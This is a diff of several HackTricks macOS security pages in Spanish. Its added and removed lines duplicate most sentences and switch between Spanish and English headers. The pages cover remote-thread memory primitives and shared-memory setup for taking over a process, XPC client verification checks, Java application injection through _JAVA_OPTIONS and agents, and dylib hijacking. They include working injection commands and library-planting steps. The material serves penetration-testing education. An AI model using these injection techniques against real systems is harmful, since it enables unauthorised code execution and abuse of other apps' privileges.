uint64_t read_func(uint64_t *address) {
return *address;
}
```
Y para escribir en la memoria, se utilizan funciones similares a esta estructura:
Y para escribir en memoria, se utilizan funciones similares a esta estructura:
```c
void write_func(uint64_t *address, uint64_t value) {
*address = value;
}
```
Estas funciones corresponden a las instrucciones de ensamblaje proporcionadas:
Estas funciones corresponden a las instrucciones de ensamblaje dadas:
```
_read_func:
ldr x0, [x0]
@ -71,53 +72,55 @@ _write_func:
str x1, [x0]
ret
```
### Identificación de Funciones Adecuadas
### Identifying Suitable Functions
Un escaneo de bibliotecas comunes reveló candidatos apropiados para estas operaciones:
1. **Lectura de Memoria:**
La función `property_getName()` de la [biblioteca de tiempo de ejecución Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) se identifica como una función adecuada para la lectura de memoria. La función se describe a continuación:
1. **Reading Memory:**
La función `property_getName()` de la [biblioteca de tiempo de ejecución de Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) se identifica como una función adecuada para leer memoria. La función se describe a continuación:
```c
const char *property_getName(objc_property_t prop) {
return prop->name;
}
```
Este función actúa efectivamente como la `read_func` al devolver el primer campo de `objc_property_t`.
Esta función actúa efectivamente como el `read_func` al devolver el primer campo de `objc_property_t`.
2. **Escribiendo en la memoria:**
Encontrar una función preconstruida para escribir en la memoria es más desafiante. Sin embargo, la función `_xpc_int64_set_value()` de libxpc es un candidato adecuado con el siguiente desensamblado:
2. **Escritura de Memoria:**
Encontrar una función preconstruida para escribir en memoria es más desafiante. Sin embargo, la función `_xpc_int64_set_value()` de libxpc es un candidato adecuado con el siguiente desensamblado:
```c
__xpc_int64_set_value:
str x1, [x0, #0x18]
ret
```
Para realizar una escritura de 64 bits en una dirección específica, la llamada remota está estructurada de la siguiente manera:
Para realizar una escritura de 64 bits en una dirección específica, la llamada remota se estructura de la siguiente manera:
```c
_xpc_int64_set_value(address - 0x18, value)
```
Con estas primitivas establecidas, se sienta la base para crear memoria compartida, marcando un progreso significativo en el control del proceso remoto.
## 4. Configuración de Memoria Compartida
El objetivo es establecer memoria compartida entre tareas locales y remotas, simplificando la transferencia de datos y facilitando la llamada de funciones con múltiples argumentos. El enfoque implica aprovechar `libxpc` y su tipo de objeto `OS_xpc_shmem`, el cual se basa en entradas de memoria Mach.
El objetivo es establecer memoria compartida entre tareas locales y remotas, simplificando la transferencia de datos y facilitando la llamada a funciones con múltiples argumentos. El enfoque implica aprovechar `libxpc` y su tipo de objeto `OS_xpc_shmem`, que se basa en entradas de memoria Mach.
### Resumen del Proceso:
1. **Asignación de Memoria**:
- Asignar la memoria para compartir utilizando `mach_vm_allocate()`.
- Utilizar `xpc_shmem_create()` para crear un objeto `OS_xpc_shmem` para la región de memoria asignada. Esta función gestionará la creación de la entrada de memoria Mach y almacenará el derecho de envío Mach en el desplazamiento `0x18` del objeto `OS_xpc_shmem`.
- Asigne la memoria para compartir utilizando `mach_vm_allocate()`.
- Use `xpc_shmem_create()` para crear un objeto `OS_xpc_shmem` para la región de memoria asignada. Esta función gestionará la creación de la entrada de memoria Mach y almacenará el derecho de envío Mach en el desplazamiento `0x18` del objeto `OS_xpc_shmem`.
2. **Creación de Memoria Compartida en el Proceso Remoto**:
- Asignar memoria para el objeto `OS_xpc_shmem` en el proceso remoto con una llamada remota a `malloc()`.
- Copiar el contenido del objeto `OS_xpc_shmem` local al proceso remoto. Sin embargo, esta copia inicial tendrá nombres incorrectos de entradas de memoria Mach en el desplazamiento `0x18`.
2. **Creando Memoria Compartida en el Proceso Remoto**:
- Asigne memoria para el objeto `OS_xpc_shmem` en el proceso remoto con una llamada remota a `malloc()`.
- Copie el contenido del objeto local `OS_xpc_shmem` al proceso remoto. Sin embargo, esta copia inicial tendrá nombres de entrada de memoria Mach incorrectos en el desplazamiento `0x18`.
3. **Corrección de la Entrada de Memoria Mach**:
- Utilizar el método `thread_set_special_port()` para insertar un derecho de envío para la entrada de memoria Mach en la tarea remota.
- Corregir el campo de entrada de memoria Mach en el desplazamiento `0x18` sobrescribiéndolo con el nombre de la entrada de memoria remota.
3. **Corrigiendo la Entrada de Memoria Mach**:
- Utilice el método `thread_set_special_port()` para insertar un derecho de envío para la entrada de memoria Mach en la tarea remota.
- Corrija el campo de entrada de memoria Mach en el desplazamiento `0x18` sobrescribiéndolo con el nombre de la entrada de memoria remota.
4. **Finalización de la Configuración de Memoria Compartida**:
- Validar el objeto `OS_xpc_shmem` remoto.
- Establecer el mapeo de memoria compartida con una llamada remota a `xpc_shmem_remote()`.
4. **Finalizando la Configuración de Memoria Compartida**:
- Valide el objeto remoto `OS_xpc_shmem`.
- Establezca el mapeo de memoria compartida con una llamada remota a `xpc_shmem_remote()`.
Siguiendo estos pasos, la memoria compartida entre las tareas locales y remotas se configurará eficientemente, permitiendo transferencias de datos sencillas y la ejecución de funciones que requieren múltiples argumentos.
Siguiendo estos pasos, la memoria compartida entre las tareas locales y remotas se configurará de manera eficiente, permitiendo transferencias de datos sencillas y la ejecución de funciones que requieren múltiples argumentos.
## Fragmentos de Código Adicionales
@ -131,19 +134,21 @@ Para crear y corregir el objeto de memoria compartida en el proceso remoto:
malloc(); // for allocating memory remotely
thread_set_special_port(); // for inserting send right
```
Recuerde manejar correctamente los detalles de los puertos Mach y los nombres de las entradas de memoria para garantizar que la configuración de memoria compartida funcione correctamente.
## 5. Logrando Control Total
Al establecer correctamente la memoria compartida y obtener capacidades de ejecución arbitrarias, hemos logrado control total sobre el proceso objetivo. Las funcionalidades clave que permiten este control son:
Al establecer con éxito la memoria compartida y obtener capacidades de ejecución arbitraria, hemos ganado esencialmente control total sobre el proceso objetivo. Las funcionalidades clave que permiten este control son:
1. **Operaciones de Memoria Arbitrarias**:
- Realizar lecturas de memoria arbitrarias invocando `memcpy()` para copiar datos desde la región compartida.
- Realizar lecturas de memoria arbitrarias invocando `memcpy()` para copiar datos de la región compartida.
- Ejecutar escrituras de memoria arbitrarias utilizando `memcpy()` para transferir datos a la región compartida.
2. **Manejo de Llamadas a Funciones con Múltiples Argumentos**:
- Para funciones que requieren más de 8 argumentos, organizar los argumentos adicionales en la pila de acuerdo con la convención de llamada.
3. **Transferencia de Puertos Mach**:
- Transferir puertos Mach entre tareas a través de mensajes Mach mediante los puertos previamente establecidos.
- Transferir puertos Mach entre tareas a través de mensajes Mach mediante puertos previamente establecidos.
4. **Transferencia de Descriptores de Archivo**:
- Transferir descriptores de archivo entre procesos utilizando fileports, una técnica destacada por Ian Beer en `triple_fetch`.
@ -152,10 +157,25 @@ Este control integral está encapsulado dentro de la biblioteca [threadexec](htt
## Consideraciones Importantes:
- Asegurar el uso adecuado de `memcpy()` para operaciones de lectura/escritura de memoria para mantener la estabilidad del sistema y la integridad de los datos.
- Al transferir puertos Mach o descriptores de archivo, seguir protocolos adecuados y manejar los recursos de manera responsable para evitar fugas o accesos no deseados.
- Asegúrese de utilizar correctamente `memcpy()` para operaciones de lectura/escritura de memoria para mantener la estabilidad del sistema y la integridad de los datos.
- Al transferir puertos Mach o descriptores de archivo, siga los protocolos adecuados y maneje los recursos de manera responsable para prevenir leaks o accesos no intencionados.
Al adherirse a estas pautas y utilizar la biblioteca `threadexec`, uno puede gestionar e interactuar eficientemente con procesos a un nivel granular, logrando control total sobre el proceso objetivo.
Al adherirse a estas pautas y utilizar la biblioteca `threadexec`, uno puede gestionar e interactuar eficientemente con los procesos a un nivel granular, logrando control total sobre el proceso objetivo.
## Referencias
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,40 +1,41 @@
# Verificación del Proceso de Conexión en macOS XPC
# macOS XPC Connecting Process Check
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Verificación del Proceso de Conexión en XPC
## XPC Connecting Process Check
Cuando se establece una conexión con un servicio XPC, el servidor verificará si la conexión está permitida. Estas son las comprobaciones que normalmente realizará:
Cuando se establece una conexión a un servicio XPC, el servidor verificará si la conexión está permitida. Estas son las verificaciones que normalmente realizaría:
1. Verificar si el **proceso de conexión está firmado con un certificado firmado por Apple** (solo otorgado por Apple).
* Si esto **no se verifica**, un atacante podría crear un **certificado falso** para coincidir con cualquier otra comprobación.
2. Verificar si el proceso de conexión está firmado con el **certificado de la organización**, (verificación del ID del equipo).
* Si esto **no se verifica**, **cualquier certificado de desarrollador** de Apple se puede usar para firmar y conectarse al servicio.
3. Verificar si el proceso de conexión **contiene un ID de paquete adecuado**.
* Si esto **no se verifica**, cualquier herramienta **firmada por la misma organización** podría usarse para interactuar con el servicio XPC.
4. (4 o 5) Verificar si el proceso de conexión tiene un **número de versión de software adecuado**.
* Si esto **no se verifica**, clientes antiguos e inseguros, vulnerables a la inyección de procesos, podrían usarse para conectarse al servicio XPC incluso con las otras comprobaciones en su lugar.
5. (4 o 5) Verificar si el proceso de conexión tiene un tiempo de ejecución reforzado sin permisos peligrosos (como los que permiten cargar bibliotecas arbitrarias o usar variables de entorno DYLD)
* Si esto **no se verifica**, el cliente podría ser **vulnerable a la inyección de código**
6. Verificar si el proceso de conexión tiene un **permiso** que le permite conectarse al servicio. Esto es aplicable para binarios de Apple.
7. La **verificación** debe **basarse** en el **token de auditoría del cliente** que se conecta **en lugar** de su ID de proceso (**PID**), ya que el primero previene **ataques de reutilización de PID**.
* Los desarrolladores **raramente usan la llamada a la API del token de auditoría** ya que es **privada**, por lo que Apple podría **cambiarla** en cualquier momento. Además, el uso de API privadas no está permitido en las aplicaciones de Mac App Store.
* Si se utiliza el método **`processIdentifier`**, podría ser vulnerable
* En lugar de **`xpc_connection_get_audit_token`**, se debería usar **`xpc_dictionary_get_audit_token`**, ya que el último también podría ser [vulnerable en ciertas situaciones](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
1. Verificar si el **proceso que se conecta está firmado con un certificado firmado por Apple** (solo otorgado por Apple).
* Si esto **no se verifica**, un atacante podría crear un **certificado falso** para coincidir con cualquier otra verificación.
2. Verificar si el proceso que se conecta está firmado con el **certificado de la organización** (verificación del ID del equipo).
* Si esto **no se verifica**, **cualquier certificado de desarrollador** de Apple puede ser utilizado para firmar y conectarse al servicio.
3. Verificar si el proceso que se conecta **contiene un ID de paquete adecuado**.
* Si esto **no se verifica**, cualquier herramienta **firmada por la misma organización** podría ser utilizada para interactuar con el servicio XPC.
4. (4 o 5) Verificar si el proceso que se conecta tiene un **número de versión de software adecuado**.
* Si esto **no se verifica**, se podría utilizar un cliente antiguo e inseguro, vulnerable a la inyección de procesos, para conectarse al servicio XPC incluso con las otras verificaciones en su lugar.
5. (4 o 5) Verificar si el proceso que se conecta tiene un runtime endurecido sin derechos peligrosos (como los que permiten cargar bibliotecas arbitrarias o usar variables de entorno DYLD).
* Si esto **no se verifica**, el cliente podría ser **vulnerable a la inyección de código**.
6. Verificar si el proceso que se conecta tiene un **derecho** que le permite conectarse al servicio. Esto es aplicable para binarios de Apple.
7. La **verificación** debe basarse en el **token de auditoría del cliente que se conecta** **en lugar** de su ID de proceso (**PID**) ya que el primero previene **ataques de reutilización de PID**.
* Los desarrolladores **raramente utilizan la llamada a la API del token de auditoría** ya que es **privada**, por lo que Apple podría **cambiarla** en cualquier momento. Además, el uso de API privadas no está permitido en las aplicaciones de la Mac App Store.
* Si se utiliza el método **`processIdentifier`**, podría ser vulnerable.
* **`xpc_dictionary_get_audit_token`** debería ser utilizado en lugar de **`xpc_connection_get_audit_token`**, ya que el último también podría ser [vulnerable en ciertas situaciones](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
### Ataques de Comunicación
### Communication Attacks
Para más información sobre el ataque de reutilización de PID, consulta:
@ -48,11 +49,11 @@ Para más información sobre el ataque **`xpc_connection_get_audit_token`**, con
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
{% endcontent-ref %}
### Trustcache - Prevención de Ataques de Degradación
### Trustcache - Downgrade Attacks Prevention
Trustcache es un método defensivo introducido en las máquinas de Apple Silicon que almacena una base de datos de CDHSAH de binarios de Apple para que solo se puedan ejecutar binarios no modificados y permitidos. Esto previene la ejecución de versiones anteriores.
Trustcache es un método defensivo introducido en máquinas Apple Silicon que almacena una base de datos de CDHSAH de binarios de Apple para que solo se puedan ejecutar binarios no modificados permitidos. Lo que previene la ejecución de versiones degradadas.
### Ejemplos de Código
### Code Examples
El servidor implementará esta **verificación** en una función llamada **`shouldAcceptNewConnection`**.
@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
```
{% endcode %}
Si un desarrollador no desea verificar la versión del cliente, podría al menos asegurarse de que el cliente no sea vulnerable a la inyección de procesos:
Si un desarrollador no quiere verificar la versión del cliente, podría comprobar que el cliente no es vulnerable a la inyección de procesos al menos:
{% code overflow="wrap" %}
```objectivec
@ -108,16 +109,19 @@ if ((csFlags & (cs_hard | cs_require_lv)) {
return Yes; // Accept connection
}
```
{% endcode %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Inyección de Aplicaciones Java en macOS
# macOS Java Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Enumeración
Encuentra aplicaciones Java instaladas en tu sistema. Se observó que las aplicaciones Java en el archivo **Info.plist** contendrán algunos parámetros de Java que contienen la cadena **`java.`**, por lo que puedes buscar eso:
Encuentra aplicaciones Java instaladas en tu sistema. Se notó que las aplicaciones Java en el **Info.plist** contendrán algunos parámetros de java que contienen la cadena **`java.`**, así que puedes buscar eso:
```bash
# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
@ -26,7 +27,7 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
```
## \_JAVA\_OPTIONS
La variable de entorno **`_JAVA_OPTIONS`** se puede utilizar para inyectar parámetros java arbitrarios en la ejecución de una aplicación compilada en Java:
La variable de entorno **`_JAVA_OPTIONS`** se puede utilizar para inyectar parámetros java arbitrarios en la ejecución de una aplicación compilada en java:
```bash
# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
return 0;
}
```
Sin embargo, esto provocará un error en la aplicación ejecutada, otra forma más sigilosa es crear un agente de Java y usar:
Sin embargo, eso provocará un error en la aplicación ejecutada, otra forma más sigilosa es crear un agente de Java y usar:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -95,12 +96,12 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
{% hint style="danger" %}
Crear el agente con una **versión diferente de Java** a la de la aplicación puede provocar que se bloquee la ejecución tanto del agente como de la aplicación
Crear el agente con una **versión de Java diferente** de la aplicación puede hacer que tanto el agente como la aplicación se bloqueen.
{% endhint %}
Donde el agente puede ser:
{% code title="Agente.java" %}
{% code title="Agent.java" %}
```java
import java.io.*;
import java.lang.instrument.*;
@ -131,7 +132,7 @@ Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
```
Y luego exporta la variable de entorno y ejecuta la aplicación Java de la siguiente manera:
Y luego exporta la variable de entorno y ejecuta la aplicación java así:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -140,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
## Archivo vmoptions
## archivo vmoptions
Este archivo admite la especificación de **parámetros de Java** cuando se ejecuta Java. Puedes usar algunos de los trucos anteriores para cambiar los parámetros de Java y **hacer que el proceso ejecute comandos arbitrarios**.\
Este archivo admite la especificación de **parámetros de Java** cuando se ejecuta Java. Podrías usar algunos de los trucos anteriores para cambiar los parámetros de Java y **hacer que el proceso ejecute comandos arbitrarios**.\
Además, este archivo también puede **incluir otros** con el directorio `include`, por lo que también podrías cambiar un archivo incluido.
Incluso, algunas aplicaciones Java cargarán **más de un archivo `vmoptions`**.
Aún más, algunas aplicaciones de Java **cargarán más de un archivo `vmoptions`**.
Algunas aplicaciones como Android Studio indican en su **salida dónde están buscando** estos archivos, por ejemplo:
Algunas aplicaciones como Android Studio indican en su **salida dónde están buscando** estos archivos, como:
```bash
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
@ -166,4 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio
```
Es interesante notar que en este ejemplo Android Studio está intentando cargar el archivo **`/Applications/Android Studio.app.vmoptions`**, un lugar donde cualquier usuario del grupo **`admin` tiene acceso de escritura.**
Note cómo es interesante que Android Studio en este ejemplo está intentando cargar el archivo **`/Applications/Android Studio.app.vmoptions`**, un lugar donde cualquier usuario del **`admin` group tiene acceso de escritura.**

View file

@ -1,22 +1,23 @@
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## DYLD\_INSERT\_LIBRARIES Ejemplo básico
**Biblioteca a inyectar** para ejecutar una shell:
**Biblioteca para inyectar** para ejecutar un shell:
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -61,7 +62,7 @@ El binario vulnerable objetivo es `/Applications/VulnDyld.app/Contents/Resources
{% endtab %}
{% tab title="LC_RPATH" %}
{% code overflow="wrap %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
@ -91,10 +92,10 @@ compatibility version 1.0.0
{% endtab %}
{% endtabs %}
Con la información anterior sabemos que **no está verificando la firma de las bibliotecas cargadas** e intenta cargar una biblioteca desde:
Con la información anterior sabemos que **no está verificando la firma de las bibliotecas cargadas** y **está intentando cargar una biblioteca de**:
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
Sin embargo, la primera no existe:
```bash
@ -104,7 +105,7 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
Entonces, ¡es posible secuestrarlo! Crea una biblioteca que **ejecute algún código arbitrario y exporte las mismas funcionalidades** que la biblioteca legítima al reexportarla. Y recuerda compilarla con las versiones esperadas:
¡Así que es posible secuestrarlo! Crea una biblioteca que **ejecute algún código arbitrario y exporte las mismas funcionalidades** que la biblioteca legítima reexportándola. Y recuerda compilarla con las versiones esperadas:
{% code title="lib.m" %}
```objectivec
@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
```
{% endcode %}
La ruta de reexportación creada en la biblioteca es relativa al cargador, cambiémosla por una ruta absoluta a la biblioteca a exportar:
La ruta de reexportación creada en la biblioteca es relativa al cargador, cambiémosla por una ruta absoluta a la biblioteca para exportar:
{% code overflow="wrap" %}
```bash
@ -155,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
Y **ejecutar** el binario y verificar que la **biblioteca se cargó**:
Y **ejecuta** el binario y verifica que la **biblioteca fue cargada**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib secuestrada en /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Uso: [...]
</code></pre>
{% hint style="info" %}
Un buen artículo sobre cómo abusar de esta vulnerabilidad para abusar de los permisos de la cámara de Telegram se puede encontrar en [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
